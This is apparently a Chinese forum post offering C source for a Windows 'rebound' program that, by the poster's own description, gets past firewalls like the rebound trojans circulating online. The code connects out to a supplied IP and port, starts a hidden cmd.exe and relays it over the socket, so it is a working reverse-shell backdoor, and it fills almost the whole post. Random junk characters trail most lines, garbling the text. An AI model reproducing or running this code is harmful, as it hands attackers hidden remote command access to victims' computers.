这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 WW/m
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/* ============================== U`4Zj1y
Rebound port in Windows NT IHMyP~{
By wind,2006/7 2x J5
===============================*/ >\Pj(,'
#include ]6 7wk
#include yBjWPx?
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#pragma comment(lib,"wsock32.lib") *)SgdC/f
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void OutputShell(); `\uv+^x{
SOCKET sClient; pKlT.<X7
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; S|h
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void main(int argc,char **argv) `^h##WaXap
{ @G{DOxE*
WSADATA stWsaData; iiFKt(
int nRet; AiI# "
SOCKADDR_IN stSaiClient,stSaiServer; ~Q\ZDMTK
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if(argc != 3) (ZSSp1Rv
{ 'V{k$}P2
printf("Useage:\n\rRebound DestIP DestPort\n"); cuk}VZ
return; AUpC HG7
} F!t13%yeu?
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WSAStartup(MAKEWORD(2,2),&stWsaData); } dlNMW
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /Bu5kBC
};sm8P{M
stSaiClient.sin_family = AF_INET; ~"B[6^sW
stSaiClient.sin_port = htons(0); s*WfRY*=V
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 6>A8#VT
{ e-meUf9
printf("Bind Socket Failed!\n"); ];]EK6dzG
return; (3*Hl
} FaM~ 56Pa
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stSaiServer.sin_family = AF_INET; ]bSt[
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); e5]0<s$
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 7FFYSv,[:
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) aE$p;I
{ ^}L$[P
printf("Connect Error!"); 5ZxBmQ
return; E6)mBAE
} 9R3=h5Y
OutputShell(); Sw)ftC~d
} 03;(v%
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void OutputShell() =w>QG{-N
{ M 4?3l
char szBuff[1024]; %s yBm
SECURITY_ATTRIBUTES stSecurityAttributes; [J3;U6
OSVERSIONINFO stOsversionInfo; =@MKU
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ?xs0J
STARTUPINFO stStartupInfo; "YZ`g}sG
char *szShell; :gtwvM7/B
PROCESS_INFORMATION stProcessInformation; 96j2D8=w
unsigned long lBytesRead; ,#haai(
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 1vb0G;a;|
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 95&HsgdxJ
stSecurityAttributes.lpSecurityDescriptor = 0; )9->]U@
stSecurityAttributes.bInheritHandle = TRUE; de=T7,G#
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); p}uw-$O
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); (*tJCz`Sj
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ma~`&\xE
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "$Q Gifb
stStartupInfo.wShowWindow = SW_HIDE; H[Cn@XE
stStartupInfo.hStdInput = hReadPipe; @gz?T;EC
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 4|thDb)]
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GetVersionEx(&stOsversionInfo); Az[z} r4
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switch(stOsversionInfo.dwPlatformId) &jcr7{cD
{ 1[ Pbsb
case 1: Q1yTDJ(2
szShell = "command.com"; C5z4%,`f
break; Y._AzJ&B[
default: 70~]J8T+u
szShell = "cmd.exe"; na)_8r~
break; <^paRKEa+#
} |/$#G0X;H
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); cs)hq4-L`
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send(sClient,szMsg,77,0); #'P&L>6
;
while(1) &s5*akG
{ /_8V+@im
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); G39t'^ZK*#
if(lBytesRead) v\vn}/>*d
{ I%Z&i-33y
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); fkM4u<R^
send(sClient,szBuff,lBytesRead,0); Tj:F Qnx
} vvC GzOv
else B7;MY6h#
{ " B1' K8
lBytesRead=recv(sClient,szBuff,1024,0); [cq>QMW
if(lBytesRead<=0) break; b3H;Ea?^^<
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); DS
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} \b->AXe8
} lk|/N^8M
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return;
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}